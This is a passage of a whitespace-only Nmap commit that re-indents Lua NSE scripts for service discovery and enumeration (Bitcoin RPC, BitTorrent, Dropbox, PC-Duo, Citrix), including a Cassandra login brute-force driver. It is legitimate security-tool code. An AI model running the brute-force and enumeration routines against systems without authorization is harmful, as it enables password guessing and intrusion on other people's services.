From 298be5bfaa4fe12189a682fd5f466c38d96287ea Mon Sep 17 00:00:00 2001 From: dmiller Date: Fri, 31 Jan 2014 17:36:09 +0000 Subject: [PATCH] Re-indent some scripts. Whitespace-only commit https://secwiki.org/w/Nmap/Code_Standards --- scripts/bitcoinrpc-info.nse | 134 +++++++-------- scripts/bittorrent-discovery.nse | 144 ++++++++-------- scripts/broadcast-dropbox-listener.nse | 152 ++++++++--------- scripts/broadcast-pc-duo.nse | 158 ++++++++--------- scripts/cassandra-brute.nse | 146 ++++++++-------- scripts/citrix-enum-apps-xml.nse | 90 +++++----- scripts/citrix-enum-servers.nse | 160 ++++++++--------- scripts/domcon-cmd.nse | 100 +++++------ scripts/domino-enum-users.nse | 128 +++++++------- scripts/ganglia-info.nse | 116 ++++++------- scripts/hadoop-namenode-info.nse | 188 ++++++++++---------- scripts/hbase-master-info.nse | 164 +++++++++--------- scripts/http-affiliate-id.nse | 112 ++++++------ scripts/http-backup-finder.nse | 172 +++++++++---------- scripts/http-brute.nse | 78 ++++----- scripts/http-chrono.nse | 4 +- scripts/http-comments-displayer.nse | 142 ++++++++-------- scripts/http-devframework.nse | 114 ++++++------- scripts/http-dombased-xss.nse | 124 +++++++------- scripts/http-errors.nse | 118 ++++++------- scripts/http-joomla-brute.nse | 52 +++--- scripts/http-methods.nse | 142 ++++++++-------- scripts/http-open-redirect.nse | 136 +++++++-------- scripts/http-php-version.nse | 170 +++++++++---------- scripts/http-phpmyadmin-dir-traversal.nse | 86 +++++----- scripts/http-vmware-path-vuln.nse | 122 ++++++------- scripts/http-vuln-cve2010-2861.nse | 134 +++++++-------- scripts/imap-brute.nse | 158 ++++++++--------- scripts/irc-brute.nse | 152 ++++++++--------- scripts/ldap-novell-getpass.nse | 134 +++++++-------- scripts/ldap-rootdse.nse | 84 ++++----- scripts/membase-http-info.nse | 162 +++++++++--------- scripts/ms-sql-dump-hashes.nse | 132 +++++++-------- scripts/nessus-brute.nse | 180 ++++++++++---------- scripts/redis-info.nse | 152 ++++++++--------- scripts/riak-http-info.nse | 140 +++++++-------- scripts/samba-vuln-cve-2012-1182.nse | 98 +++++------ scripts/smb-print-text.nse | 172 +++++++++---------- scripts/smb-vuln-ms10-054.nse | 154 ++++++++--------- scripts/smtp-brute.nse | 148 ++++++++-------- scripts/sniffer-detect.nse | 198 +++++++++++----------- scripts/snmp-netstat.nse | 134 +++++++-------- scripts/snmp-processes.nse | 102 +++++------ scripts/ssl-date.nse | 144 ++++++++-------- scripts/ssl-known-key.nse | 144 ++++++++-------- scripts/targets-sniffer.nse | 2 +- scripts/tls-nextprotoneg.nse | 142 ++++++++-------- scripts/url-snarf.nse | 164 +++++++++--------- scripts/vnc-brute.nse | 162 +++++++++--------- scripts/xmpp-brute.nse | 148 ++++++++-------- 50 files changed, 3296 insertions(+), 3296 deletions(-) diff --git a/scripts/bitcoinrpc-info.nse b/scripts/bitcoinrpc-info.nse index a534d3867..e5824418f 100644 --- a/scripts/bitcoinrpc-info.nse +++ b/scripts/bitcoinrpc-info.nse @@ -42,50 +42,50 @@ portrule = shortport.portnumber(8332) -- JSON-RPC helpers local function request(method, params, id) - json.make_array(params) - local req = {method = method, params = params, id = id} - local serial = json.generate(req) - return serial + json.make_array(params) + local req = {method = method, params = params, id = id} + local serial = json.generate(req) + return serial end local function response(serial) - local _, response = json.parse(serial) - local result = response["result"] - return result + local _, response = json.parse(serial) + local result = response["result"] + return result end local ServiceProxy = {} function ServiceProxy:new(host, port, path, options) - local o = {} - setmetatable(o, self) - self.host = host - self.port = port - self.path = path - self.options = options - self.__index = function(_, method) - return function(...) - return self:call(method, table.pack(...)) - end - end - return o + local o = {} + setmetatable(o, self) + self.host = host + self.port = port + self.path = path + self.options = options + self.__index = function(_, method) + return function(...) + return self:call(method, table.pack(...)) + end + end + return o end function ServiceProxy:remote(req) - local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req) - if httpdata.status == 200 then - return httpdata.body - end + local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req) + if httpdata.status == 200 then + return httpdata.body + end end function ServiceProxy:call(method, args) - local FIRST = 1 - local req = request(method, args, FIRST) - local ret = self:remote(req) - if not ret then - return - end - local result = response(ret) - return result + local FIRST = 1 + local req = request(method, args, FIRST) + local ret = self:remote(req) + if not ret then + return + end + local result = response(ret) + return result end -- Convert an integer into a broken-down version number. @@ -98,52 +98,52 @@ end -- 31900 -> 0.3.19 -- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0 local function decode_bitcoin_version(n) - if n < 31300 then - local minor, micro = n / 100, n % 100 - return string.format("0.%d.%d", minor, micro) - else - local minor, micro = n / 10000, (n / 100) % 100 - return string.format("0.%d.%d", minor, micro) - end + if n < 31300 then + local minor, micro = n / 100, n % 100 + return string.format("0.%d.%d", minor, micro) + else + local minor, micro = n / 10000, (n / 100) % 100 + return string.format("0.%d.%d", minor, micro) + end end local function formatpairs(info) - local result = {} - for k, v in pairs(info) do - if v ~= "" then - local line = k .. ": " .. tostring(v) - table.insert(result, line) - end - end - return result + local result = {} + for k, v in pairs(info) do + if v ~= "" then + local line = k .. ": " .. tostring(v) + table.insert(result, line) + end + end + return result end local function getinfo(host, port, user, pass) - local auth = {username = user, password = pass} - local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth}) - return bitcoind.getinfo() + local auth = {username = user, password = pass} + local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth}) + return bitcoind.getinfo() end action = function(host, port) - local response = {} - local c = creds.Credentials:new(creds.ALL_DATA, host, port) - local states = creds.State.VALID + creds.State.PARAM - for cred in c:getCredentials(states) do - local info = getinfo(host, port, cred.user, cred.pass) - if info then - local result = formatpairs(info) - result["name"] = "USER: " .. cred.user - table.insert(response, result) + local response = {} + local c = creds.Credentials:new(creds.ALL_DATA, host, port) + local states = creds.State.VALID + creds.State.PARAM + for cred in c:getCredentials(states) do + local info = getinfo(host, port, cred.user, cred.pass) + if info then + local result = formatpairs(info) + result["name"] = "USER: " .. cred.user + table.insert(response, result) - port.version.name = "http" - port.version.product = "Bitcoin JSON-RPC" - if info.version then - port.version.version = decode_bitcoin_version(info.version) - end - nmap.set_port_version(host, port) - end - end + port.version.name = "http" + port.version.product = "Bitcoin JSON-RPC" + if info.version then + port.version.version = decode_bitcoin_version(info.version) + end + nmap.set_port_version(host, port) + end + end - return stdnse.format_output(true, response) + return stdnse.format_output(true, response) end diff --git a/scripts/bittorrent-discovery.nse b/scripts/bittorrent-discovery.nse index e0e9035ed..32687ce69 100644 --- a/scripts/bittorrent-discovery.nse +++ b/scripts/bittorrent-discovery.nse @@ -48,88 +48,88 @@ categories = {"discovery","safe"} prerule = function() - if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and - not stdnse.get_script_args(SCRIPT_NAME..".magnet") then - stdnse.print_debug(3, - "Skipping '%s' %s, No magnet link or torrent file arguments.", - SCRIPT_NAME, SCRIPT_TYPE) - return false - end - return true + if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and + not stdnse.get_script_args(SCRIPT_NAME..".magnet") then + stdnse.print_debug(3, + "Skipping '%s' %s, No magnet link or torrent file arguments.", + SCRIPT_NAME, SCRIPT_TYPE) + return false + end + return true end action = function() - local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) - local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent") - local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet") - local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes") + local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) + local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent") + local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet") + local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes") - local t = bittorrent.Torrent:new() - if filename then - t:load_from_file(filename) - elseif magnet then - t:load_from_magnet(magnet) - end - t:trackers_peers() - t:dht_peers(timeout) + local t = bittorrent.Torrent:new() + if filename then + t:load_from_file(filename) + elseif magnet then + t:load_from_magnet(magnet) + end + t:trackers_peers() + t:dht_peers(timeout) - local output = {} - local peers = {} - peers.name = "Peers:" - local nodes = {} - nodes.name = "Nodes:" + local output = {} + local peers = {} + peers.name = "Peers:" + local nodes = {} + nodes.name = "Nodes:" - -- add peers - if target.ALLOW_NEW_TARGETS then - for peer_ip in pairs(t.peers) do - target.add(peer_ip) - table.insert(peers, peer_ip) - end - if #peers>0 then - table.insert(peers, "Total of "..#peers.." peers discovered") - end - else - for peer_ip in pairs(t.peers) do - table.insert(peers, peer_ip) - end - if #peers>0 then - table.insert(peers, "Total of "..#peers.." peers discovered") - end - end + -- add peers + if target.ALLOW_NEW_TARGETS then + for peer_ip in pairs(t.peers) do + target.add(peer_ip) + table.insert(peers, peer_ip) + end + if #peers>0 then + table.insert(peers, "Total of "..#peers.." peers discovered") + end + else + for peer_ip in pairs(t.peers) do + table.insert(peers, peer_ip) + end + if #peers>0 then + table.insert(peers, "Total of "..#peers.." peers discovered") + end + end - -- add nodes - if target.ALLOW_NEW_TARGETS and include_nodes then - for node_ip in pairs(t.nodes) do - target.add(node_ip) - table.insert(nodes, node_ip) - end - if #nodes >0 then - table.insert(nodes, "Total of "..#nodes.." nodes discovered") - end - elseif include_nodes then - for node_ip in pairs(t.nodes) do - table.insert(nodes, node_ip) - end - if #nodes >0 then - table.insert(nodes, "Total of "..#nodes.." nodes discovered") - end - end + -- add nodes + if target.ALLOW_NEW_TARGETS and include_nodes then + for node_ip in pairs(t.nodes) do + target.add(node_ip) + table.insert(nodes, node_ip) + end + if #nodes >0 then + table.insert(nodes, "Total of "..#nodes.." nodes discovered") + end + elseif include_nodes then + for node_ip in pairs(t.nodes) do + table.insert(nodes, node_ip) + end + if #nodes >0 then + table.insert(nodes, "Total of "..#nodes.." nodes discovered") + end + end - local print_out = false + local print_out = false - if #peers > 0 then - table.insert(output, peers) - print_out = true - end + if #peers > 0 then + table.insert(output, peers) + print_out = true + end - if include_nodes and #nodes > 0 then - table.insert(output, nodes) - print_out = true - end + if include_nodes and #nodes > 0 then + table.insert(output, nodes) + print_out = true + end - if print_out and not target.ALLOW_NEW_TARGETS then - table.insert(output,"Use the newtargets script-arg to add the results as targets") - end + if print_out and not target.ALLOW_NEW_TARGETS then + table.insert(output,"Use the newtargets script-arg to add the results as targets") + end - return stdnse.format_output( print_out , output) + return stdnse.format_output( print_out , output) end diff --git a/scripts/broadcast-dropbox-listener.nse b/scripts/broadcast-dropbox-listener.nse index fb6eb4b82..730edb21a 100644 --- a/scripts/broadcast-dropbox-listener.nse +++ b/scripts/broadcast-dropbox-listener.nse @@ -41,95 +41,95 @@ local DROPBOX_BROADCAST_PERIOD = 20 local DROPBOX_PORT = 17500 prerule = function() - return true + return true end action = function() - -- Start listening for broadcasts. - local sock = nmap.new_socket("udp") - sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000) - local status, result = sock:bind(nil, DROPBOX_PORT) - if not status then - stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result) - sock:close() - return - end + -- Start listening for broadcasts. + local sock = nmap.new_socket("udp") + sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000) + local status, result = sock:bind(nil, DROPBOX_PORT) + if not status then + stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result) + sock:close() + return + end - -- Keep track of the IDs we've already seen. - local ids = {} + -- Keep track of the IDs we've already seen. + local ids = {} - -- Initialize the output table. - local results = tab.new(6) - tab.addrow( - results, - 'displayname', - 'ip', - 'port', - 'version', - 'host_int', - 'namespaces' - ) + -- Initialize the output table. + local results = tab.new(6) + tab.addrow( + results, + 'displayname', + 'ip', + 'port', + 'version', + 'host_int', + 'namespaces' + ) - local status, result = sock:receive() - while status do - -- Parse JSON. - local status, info = json.parse(result) - if status then - -- Get IP address of broadcasting host. - local status, _, _, ip, _ = sock:get_info() - if not status then - stdnse.print_debug(1, "Failed to get socket info.") - break - end - stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip) + local status, result = sock:receive() + while status do + -- Parse JSON. + local status, info = json.parse(result) + if status then + -- Get IP address of broadcasting host. + local status, _, _, ip, _ = sock:get_info() + if not status then + stdnse.print_debug(1, "Failed to get socket info.") + break + end + stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip) - -- Check if we've already seen this ID. - if ids[info.host_int] then - -- We can stop now, since we've seen the same ID twice - -- If ever a host sends a broadcast twice in a row, this will - -- artificially stop the listener. I can't think of a workaround - -- for now, so this will have to do. - break - end - ids[info.host_int] = true + -- Check if we've already seen this ID. + if ids[info.host_int] then + -- We can stop now, since we've seen the same ID twice + -- If ever a host sends a broadcast twice in a row, this will + -- artificially stop the listener. I can't think of a workaround + -- for now, so this will have to do. + break + end + ids[info.host_int] = true - -- Add host scan list. - if target.ALLOW_NEW_TARGETS then - target.add(ip) - end + -- Add host scan list. + if target.ALLOW_NEW_TARGETS then + target.add(ip) + end - -- Add host to list. - for _, key1 in pairs({"namespaces", "version"}) do - for key2, val in pairs(info[key1]) do - info[key1][key2] = tostring(info[key1][key2]) - end - end - tab.addrow( - results, - info.displayname, - ip, - info.port, - stdnse.strjoin(".", info.version), - info.host_int, - stdnse.strjoin(", ", info.namespaces) - ) + -- Add host to list. + for _, key1 in pairs({"namespaces", "version"}) do + for key2, val in pairs(info[key1]) do + info[key1][key2] = tostring(info[key1][key2]) + end + end + tab.addrow( + results, + info.displayname, + ip, + info.port, + stdnse.strjoin(".", info.version), + info.host_int, + stdnse.strjoin(", ", info.namespaces) + ) - stdnse.print_debug(1, "Added host %s.", info.displayname) - end + stdnse.print_debug(1, "Added host %s.", info.displayname) + end - status, result = sock:receive() - end + status, result = sock:receive() + end - sock:close() + sock:close() - -- If no broadcasts received, don't output anything. - if not next(ids) then - return - end + -- If no broadcasts received, don't output anything. + if not next(ids) then + return + end - -- Format table, without trailing newline. - results = tab.dump(results) - results = results:sub(1, #results - 1) + -- Format table, without trailing newline. + results = tab.dump(results) + results = results:sub(1, #results - 1) - return "\n" .. results + return "\n" .. results end diff --git a/scripts/broadcast-pc-duo.nse b/scripts/broadcast-pc-duo.nse index e616c1138..3cd5003ac 100644 --- a/scripts/broadcast-pc-duo.nse +++ b/scripts/broadcast-pc-duo.nse @@ -37,97 +37,97 @@ prerule = function() return ( nmap.address_family() == "inet") end -- @param responses table containing the responses local function udpProbe(probe, responses) - local condvar = nmap.condvar(responses) - local socket = nmap.new_socket("udp") - socket:set_timeout(500) + local condvar = nmap.condvar(responses) + local socket = nmap.new_socket("udp") + socket:set_timeout(500) - for i=1,2 do - local status = socket:sendto(probe.host, probe.port, probe.data) - if ( not(status) ) then - return "\n ERROR: Failed to send broadcast request" - end - end + for i=1,2 do + local status = socket:sendto(probe.host, probe.port, probe.data) + if ( not(status) ) then + return "\n ERROR: Failed to send broadcast request" + end + end - local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) ) - local stime = os.time() - local hosts = {} + local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) ) + local stime = os.time() + local hosts = {} - repeat - local status, data = socket:receive() - if ( status ) then - local srvname = data:match(probe.match) - if ( srvname ) then - local status, _, _, rhost, _ = socket:get_info() - if ( not(status) ) then - socket:close() - return false, "Failed to get socket information" - end - -- avoid duplicates - hosts[rhost] = srvname - end - end - until( os.time() - stime > timeout ) - socket:close() + repeat + local status, data = socket:receive() + if ( status ) then + local srvname = data:match(probe.match) + if ( srvname ) then + local status, _, _, rhost, _ = socket:get_info() + if ( not(status) ) then + socket:close() + return false, "Failed to get socket information" + end + -- avoid duplicates + hosts[rhost] = srvname + end + end + until( os.time() - stime > timeout ) + socket:close() - local result = {} - for ip, name in pairs(hosts) do - table.insert(result, ("%s - %s"):format(ip,name)) - end + local result = {} + for ip, name in pairs(hosts) do + table.insert(result, ("%s - %s"):format(ip,name)) + end - if ( #result > 0 ) then - result.name = probe.topic - table.insert(responses, result) - end + if ( #result > 0 ) then + result.name = probe.topic + table.insert(responses, result) + end - condvar "signal" + condvar "signal" end action = function() - -- PC-Duo UDP probes - local probes = { - -- PC-Duo Host probe - { - host = { ip = "255.255.255.255" }, - port = { number = 1505, protocol = "udp" }, - data = bin.pack("H", "00808008ff00"), - match= "^.........(%w*)\0", - topic= "PC-Duo Hosts" - }, - -- PC-Duo Gateway Server probe - { - host = { ip = "255.255.255.255" }, - port = { number = 2303, protocol = "udp" }, - data = bin.pack("H", "20908008ff00"), - match= "^.........(%w*)\0", - topic= "PC-Duo Gateway Server" - }, - } + -- PC-Duo UDP probes + local probes = { + -- PC-Duo Host probe + { + host = { ip = "255.255.255.255" }, + port = { number = 1505, protocol = "udp" }, + data = bin.pack("H", "00808008ff00"), + match= "^.........(%w*)\0", + topic= "PC-Duo Hosts" + }, + -- PC-Duo Gateway Server probe + { + host = { ip = "255.255.255.255" }, + port = { number = 2303, protocol = "udp" }, + data = bin.pack("H", "20908008ff00"), + match= "^.........(%w*)\0", + topic= "PC-Duo Gateway Server" + }, + } - local threads, responses = {}, {} - local condvar = nmap.condvar(responses) + local threads, responses = {}, {} + local condvar = nmap.condvar(responses) - -- start a thread for each probe - for _, p in ipairs(probes) do - local th = stdnse.new_thread( udpProbe, p, responses ) - threads[th] = true - end + -- start a thread for each probe + for _, p in ipairs(probes) do + local th = stdnse.new_thread( udpProbe, p, responses ) + threads[th] = true + end - -- wait until the probes are all done - repeat - for thread in pairs(threads) do - if coroutine.status(thread) == "dead" then - threads[thread] = nil - end - end - if ( next(threads) ) then - condvar "wait" - end - until next(threads) == nil + -- wait until the probes are all done + repeat + for thread in pairs(threads) do + if coroutine.status(thread) == "dead" then + threads[thread] = nil + end + end + if ( next(threads) ) then + condvar "wait" + end + until next(threads) == nil - table.sort(responses, function(a,b) return a.name < b.name end) - -- did we get any responses - if ( #responses > 0 ) then - return stdnse.format_output(true, responses) - end + table.sort(responses, function(a,b) return a.name < b.name end) + -- did we get any responses + if ( #responses > 0 ) then + return stdnse.format_output(true, responses) + end end diff --git a/scripts/cassandra-brute.nse b/scripts/cassandra-brute.nse index 1eb2e6ac1..51554021d 100644 --- a/scripts/cassandra-brute.nse +++ b/scripts/cassandra-brute.nse @@ -36,98 +36,98 @@ portrule = shortport.port_or_service({9160}, {"cassandra"}) Driver = { - new = function(self, host, port, options) - local o = { host = host, port = port, socket = nmap.new_socket() } - setmetatable(o, self) - self.__index = self - return o - end, + new = function(self, host, port, options) + local o = { host = host, port = port, socket = nmap.new_socket() } + setmetatable(o, self) + self.__index = self + return o + end, - connect = function(self) - return self.socket:connect(self.host, self.port) - end, + connect = function(self) + return self.socket:connect(self.host, self.port) + end, - -- bit faster login function than in cassandra library (no protocol error checks) - login = function(self, username, password) - local response, magic, size, _ - local loginstr = cassandra.loginstr (username, password) + -- bit faster login function than in cassandra library (no protocol error checks) + login = function(self, username, password) + local response, magic, size, _ + local loginstr = cassandra.loginstr (username, password) - local status, err = self.socket:send(bin.pack(">I",string.len(loginstr))) - local combo = username..":"..password - if ( not(status) ) then - local err = brute.Error:new( "couldn't send length:"..combo ) - err:setAbort( true ) - return false, err - end + local status, err = self.socket:send(bin.pack(">I",string.len(loginstr))) + local combo = username..":"..password + if ( not(status) ) then + local err = brute.Error:new( "couldn't send length:"..combo ) + err:setAbort( true ) + return false, err + end - status, err = self.socket:send(loginstr) - if ( not(status) ) then - local err = brute.Error:new( "couldn't send login packet: "..combo ) - err:setAbort( true ) - return false, err - end + status, err = self.socket:send(loginstr) + if ( not(status) ) then + local err = brute.Error:new( "couldn't send login packet: "..combo ) + err:setAbort( true ) + return false, err + end - status, response = self.socket:receive_bytes(22) - if ( not(status) ) then - local err = brute.Error:new( "couldn't receive login reply size: "..combo ) - err:setAbort( true ) - return false, err - end + status, response = self.socket:receive_bytes(22) + if ( not(status) ) then + local err = brute.Error:new( "couldn't receive login reply size: "..combo ) + err:setAbort( true ) + return false, err + end - _, size = bin.unpack(">I", response, 1) + _, size = bin.unpack(">I", response, 1) - magic = string.sub(response,18,22) + magic = string.sub(response,18,22) - if (magic == cassandra.LOGINSUCC) then - stdnse.print_debug(3, "Account SUCCESS: "..combo) - return true, brute.Account:new(username, password, creds.State.VALID) - elseif (magic == cassandra.LOGINFAIL) then - stdnse.print_debug(3,"Account FAIL: "..combo) - return false, brute.Error:new( "Incorrect password" ) - elseif (magic == cassandra.LOGINACC) then - stdnse.print_debug(3, "Account VALID, but wrong password: "..combo) - return false, brute.Error:new( "Good user, bad password" ) - else - stdnse.print_debug(3, "Unrecognized packet for "..combo) - stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) ) - stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) ) - stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) ) - local err = brute.Error:new( response ) - err:setRetry( true ) - return false, err - end - end, + if (magic == cassandra.LOGINSUCC) then + stdnse.print_debug(3, "Account SUCCESS: "..combo) + return true, brute.Account:new(username, password, creds.State.VALID) + elseif (magic == cassandra.LOGINFAIL) then + stdnse.print_debug(3,"Account FAIL: "..combo) + return false, brute.Error:new( "Incorrect password" ) + elseif (magic == cassandra.LOGINACC) then + stdnse.print_debug(3, "Account VALID, but wrong password: "..combo) + return false, brute.Error:new( "Good user, bad password" ) + else + stdnse.print_debug(3, "Unrecognized packet for "..combo) + stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) ) + stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) ) + stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) ) + local err = brute.Error:new( response ) + err:setRetry( true ) + return false, err + end + end, - disconnect = function(self) - return self.socket:close() - end, + disconnect = function(self) + return self.socket:close() + end, } local function noAuth(host, port) - local socket = nmap.new_socket() - local status, result = socket:connect(host, port) + local socket = nmap.new_socket() + local status, result = socket:connect(host, port) - local stat,err = cassandra.login (socket,"default","") - socket:close() - if (stat) then - return true - else - return false - end + local stat,err = cassandra.login (socket,"default","") + socket:close() + if (stat) then + return true + else + return false + end end action = function(host, port) - if ( noAuth(host, port) ) then - return "Any username and password would do, 'default' was used to test." - end + if ( noAuth(host, port) ) then + return "Any username and password would do, 'default' was used to test." + end - local engine = brute.Engine:new(Driver, host, port ) + local engine = brute.Engine:new(Driver, host, port ) - engine.options.script_name = SCRIPT_NAME - engine.options.firstonly = true - local status, result = engine:start() + engine.options.script_name = SCRIPT_NAME + engine.options.firstonly = true + local status, result = engine:start() - return result + return result end diff --git a/scripts/citrix-enum-apps-xml.nse b/scripts/citrix-enum-apps-xml.nse index 55e5d389c..78949e07a 100644 --- a/scripts/citrix-enum-apps-xml.nse +++ b/scripts/citrix-enum-apps-xml.nse @@ -76,75 +76,75 @@ portrule = shortport.portnumber({8080,80,443}, "tcp") -- @return table suitable for stdnse.format_output function format_output(appdata, mode) - local result = {} - local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"}, - {Encryption="Encryption"}, {AppInStartmenu="In start menu"}, - {PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} } + local result = {} + local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"}, + {Encryption="Encryption"}, {AppInStartmenu="In start menu"}, + {PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} } - if mode == "short" then - for app_name, AppData in ipairs(appdata) do - local line = "Application: " .. AppData.FName + if mode == "short" then + for app_name, AppData in ipairs(appdata) do + local line = "Application: " .. AppData.FName - if AppData.AccessList then + if AppData.AccessList then - if AppData.AccessList.User then - line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) - end + if AppData.AccessList.User then + line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) + end - if AppData.AccessList.Group then - line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) - end + if AppData.AccessList.Group then + line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) + end - table.insert(result, line) - end - end + table.insert(result, line) + end + end - else + else - for app_name, AppData in ipairs(appdata) do - local result_part = {} + for app_name, AppData in ipairs(appdata) do + local result_part = {} - result_part.name = "Application: " .. AppData.FName + result_part.name = "Application: " .. AppData.FName - local settings = AppData.Settings + local settings = AppData.Settings - for _, setting_pairs in ipairs(setting_titles) do - for setting_key, setting_title in pairs(setting_pairs) do - local setting_value = settings[setting_key] and settings[setting_key] or "" - table.insert(result_part, setting_title .. ": " .. setting_value ) - end - end + for _, setting_pairs in ipairs(setting_titles) do + for setting_key, setting_title in pairs(setting_pairs) do + local setting_value = settings[setting_key] and settings[setting_key] or "" + table.insert(result_part, setting_title .. ": " .. setting_value ) + end + end - if AppData.AccessList then - if AppData.AccessList.User then - table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) ) - end + if AppData.AccessList then + if AppData.AccessList.User then + table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) ) + end - if AppData.AccessList.Group then - table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) ) - end + if AppData.AccessList.Group then + table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) ) + end - table.insert(result, result_part) - end + table.insert(result, result_part) + end - end + end - end + end - return result + return result - end +end action = function(host,port) - local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} }) - local appdata = citrixxml.parse_appdata_response(response) + local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} }) + local appdata = citrixxml.parse_appdata_response(response) - local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short")) + local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short")) - return stdnse.format_output(true, response) + return stdnse.format_output(true, response) end diff --git a/scripts/citrix-enum-servers.nse b/scripts/citrix-enum-servers.nse index f362d7665..270413cd2 100644 --- a/scripts/citrix-enum-servers.nse +++ b/scripts/citrix-enum-servers.nse @@ -40,107 +40,107 @@ portrule = shortport.portnumber(1604, "udp") -- function process_server_response(response) - local pos, packet_len = bin.unpack("SS", response) - local server_name - local server_list = {} + local pos, packet_len = bin.unpack("SS", response) + local server_name + local server_list = {} - if packet_len < 40 then - return - end + if packet_len < 40 then + return + end - -- the list of published applications starts at offset 40 - local offset = 41 + -- the list of published applications starts at offset 40 + local offset = 41 - while offset < packet_len do - pos, server_name = bin.unpack("z", response:sub(offset)) - offset = offset + pos - 1 - table.insert(server_list, server_name) - end + while offset < packet_len do + pos, server_name = bin.unpack("z", response:sub(offset)) + offset = offset + pos - 1 + table.insert(server_list, server_name) + end - return server_list + return server_list end action = function(host, port) - local packet, counter, socket - local query = {} - local server_list = {} + local packet, counter, socket + local query = {} + local server_list = {} - -- - -- Packets were intercepted from the Citrix Program Neighborhood client - -- They are used to query a server for it's list of published applications - -- - -- We're really not interested in the responses to the first two packets - -- The third response contains the list of published applications - -- I couldn't find any documentation on this protocol so I'm providing - -- some brief information for the bits and bytes this script uses. - -- - -- Spec. of response to query[2] that contains a list of published apps - -- - -- offset size content - -- ------------------------- - -- 0 16-bit Length - -- 12 32-bit Server IP (not used here) - -- 30 8-bit Last packet (1), More packets(0) - -- 40 - null-separated list of applications - -- - query[0] = string.char( - 0x1e, 0x00, -- Length: 30 - 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00 - ) + -- + -- Packets were intercepted from the Citrix Program Neighborhood client + -- They are used to query a server for it's list of published applications + -- + -- We're really not interested in the responses to the first two packets + -- The third response contains the list of published applications + -- I couldn't find any documentation on this protocol so I'm providing + -- some brief information for the bits and bytes this script uses. + -- + -- Spec. of response to query[2] that contains a list of published apps + -- + -- offset size content + -- ------------------------- + -- 0 16-bit Length + -- 12 32-bit Server IP (not used here) + -- 30 8-bit Last packet (1), More packets(0) + -- 40 - null-separated list of applications + -- + query[0] = string.char( + 0x1e, 0x00, -- Length: 30 + 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00 + ) - query[1] = string.char( - 0x2a, 0x00, -- Length: 42 - 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - ) + query[1] = string.char( + 0x2a, 0x00, -- Length: 42 + 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ) - counter = 0 + counter = 0 - socket = nmap.new_socket() 